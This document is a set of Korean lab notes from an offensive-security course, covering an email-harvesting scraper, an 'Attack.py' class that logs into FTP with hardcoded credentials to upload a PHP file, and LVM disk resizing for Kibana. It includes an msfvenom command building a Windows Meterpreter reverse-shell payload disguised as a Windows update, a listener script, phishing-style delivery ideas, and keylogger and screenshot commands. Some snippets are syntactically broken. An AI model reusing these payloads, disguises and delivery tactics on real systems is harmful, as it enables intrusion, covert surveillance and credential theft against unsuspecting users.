DAY24
DAY24

미션1: 이메일 수집기 만들기

이메일 구조 이해하기
xxx@xxx
정규표현식
문자, 숫자, 특수문자 사용가능 등

파이썬 구조이해
ci4.st.kr/auth/login
ci4.st.kr/auth/
클래스 활용하기
1. class 정의
2. def__init__ 클래스 생성자,소멸자 이해하기
3. 전역변수와 지역변수 구분하기



자체적 공격용 툴 만들기
[kali]
nano Attack.py
import re
import requests #웹은 요청 필요
from bs4 import BeautifulSoup #정보수집

class Attack:
  target="http://victim.kr" # victim.kr > web2.st.kr/profile.php
  def __init__(self,target):
    print("start attack")
    #target=target
    print(target)
    self.target = target #고정 target을 바꿔줌

  def menu(self):
    print("1.")
    print("2.")
    print("3.")

  def http(self):
    print("attack http")
    #target = "http://web1.st.kr"
    print(target)

  def ftp(self):
    print("attack ftp")
    print(self.target)

  def collectEmail(self):
    print("collet email")
    response = requests.get(self.target)
    print(response)
    #print(dir(response))
#    print(response.text) #텍스트 내용 가져옴, 이메일 찾아냄!!

url ="http://web2.st.kr/profile.php"
attack1 = Attack(url)
#attack1.menu()
#attack1.http()
#attack1.ftp()
attack1.collectEmail()

#attack2 = Attack()



python Attack.py #init만 실행됨

nano Attack2.py
class Attack2:
  target="http://victim.kr"
  port=""
  def __init__(self,target,port):
    print("init")
    print(target)
    print(port)
    self.target=target
    self.port=port
  def attack(self):
    print(self.target)
    print(self.port)

  pass

url="1"
port="2"
attack1=Attack2(url,port) #
attack1.attack()

# 크롤링할 URL
url ="http://example.com"

# HTTP 요청
response = requests.get(url)
if response.status_code == 200:
    soup = BeautifulSoup(response.text, 'html.parser')

	# 이메일 주소 패턴
	email_pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
	emails=re.findall(email_pattern, soup.text) #re는 객체

	#중복 제거 및 출력
	unique_emails = set(emails)
	for email in unique_emails;
	   print(email)
	else:
	print(f"Failed to access (url), status code: (response.status_code)")

nano Attack.py
  def collectEmail(self):
    email_pattern=r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
    print("collet email")
    response = requests.get(self.target)
    if response.status_code == 200:
      soup = BeautifulSoup(response.text,'html.parser')
      #print(response)
      #print(dir(response))
      #print(response.text)
      emails=re.findall(email_pattern,soup.text)
      unique_emails = set(emails)
      for email in unique_emails:
        print(email)

nano Attack.py
  def keylog(self):
    print("start kelog")

---------------------------------------------------------------
Attack.py 최종

import re
import requests
from bs4 import BeautifulSoup

from ftplib import FTP

class Attack:
  target="http://victim.kr" # victim.kr > web2.st.kr/profile.php
  def __init__(self,target):
    print("start attack")
    #target=target
    print(target)
    self.target = target

  def scan(self):
    ports =[21,22,23,53,80,110,143,3306,3389,5601,5900,5091,9200]
    chkPorts=[21]
    print("start scan")
    print("end scan")
    return chkPorts


  def menu(self):
    print("1.")
    print("2.")
    print("3.")

  def http(self):
    print("attack http")
    #target = "http://web1.st.kr"
    print(target)

  def keylog(self):
    print("start kelog")

  def ftp(self):
    id="web2"
    pw="123456"
    ftp = FTP() 
    print("attack ftp")
    print(self.target)
    print(ftp)
    print(dir(ftp))
    try:
      remote_file="profile.php"
      ftp.connect(self.target,21)
      ftp.login(id,pw)
      print("OK")
      print(ftp.retrlines('LIST'))

      #ftp.cwd('public_html') #change route
      with open("profile.php", 'rb') as file:
       ftp.storbinary(f"STOR {remote_file}",file)
       print("upload OK")


    except Exception as e:
      print({e})

  def collectEmail(self):
    email_pattern=r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
    print("collet email")
    response = requests.get(self.target)
    if response.status_code == 200:
      soup = BeautifulSoup(response.text,'html.parser')
      #print(response)
      #print(dir(response))
      #print(response.text)
      emails=re.findall(email_pattern,soup.text)
      unique_emails = set(emails)
      for email in unique_emails:
        print(email)

url ="http://web2.st.kr/profile.php"
ftp = "web2.st.kr"
attack1 = Attack(ftp)
chkPorts=attack1.scan()
for port in chkPorts:
  if port==21:
    attack1.ftp()
  elif port == 80:
    attack1.http()
    attack1.upload()
    attack1.brute()
    attack1.sql()


#attack1.menu()
#attack1.http()
#attack1.ftp()
#attack1.collectEmail()

#attack2 = Attack()

Bootstrap Example

자동으로 공격하는 공격 코드 만들기

1. 스캔을 한다
2. 포트를 찾는다
3. 80이면 http 공격을 한다
    로그인 공격
    파일 업로드 공격
    sql 인젝션 공격
    xss 공격
4. 22이면 ssh 공격을 한다
5. 21이면 ftp 공격을 한다

[1] ftp 공격
touch profile.php
nano Attack.py

python Attack.py
tail -f access.log
공격 로그 확인시 안뜸

ftp 공격은 파이썬을 이용해서 올렸다는 흔적을 찾기 어려우므로 해커 아이피를 모르면 찾기 어렵다...

[2] 파일 업로드 공격

악성코드 생성
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe -o /home/kali/windows_update_20250120001.exe

cp kali/windows_update_20250120001.exe /home/kali
[관리자pc]
192.168.56.101/windows_update_20250120001.exe
다운로드 된 파일 실행하기

침투 방법
1. 정상인척 하는 사이트 생성하여 악성코드 파일 다운로드 받게 하기
2. 이메일로 악성코드 파일 전송하기

nano malware.rc
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.56.101
    set lport 4444
    exploit

msfconsole -r /home/kali/malware.rc

***단, 악성파일을 관리자 pc에서 다운받아서 실행해야 접속이 가능하다!!***
Bootstrap Example

msfconsole

기능종류
keyboard_send
keyevent
keyscan_dump
keyscan_start
keyscan_start
keyscan_stop
mouse
screenshot(!)
setdesktop
uictl

교재
*키로거
*화면캡처

attack.py이용

206p.
336p. 트로이목마 만들기(실습)
악성코드 다운 -> java 설치 요청 (악성코드)
338p.
키로깅 구현하기
화면캡처

기능 구현~~

Bootstrap Example

kibana 오류 해결

용량이 부족하면 kibana가 실행을 안하므로 디스크 용량을 늘려준다!

가상 하드디스크 oracle에서 추가하기
vmdk

fdisk -l
fdisk /dev/sdb
mkfs.ext4 /dev/sdb1
vgs 로 여유공간 확인
pvcreate /dev/sdb1
(위까지는 지난 lvm 참고하면서 하기)
vgextend /dev/ubuntu-vg /dev/sdb1
lvextend -L +50G /dev/ubuntu-vg/ubuntu-lv
resize2fs /dev/ubuntu-vg/ubuntu-lv
df -h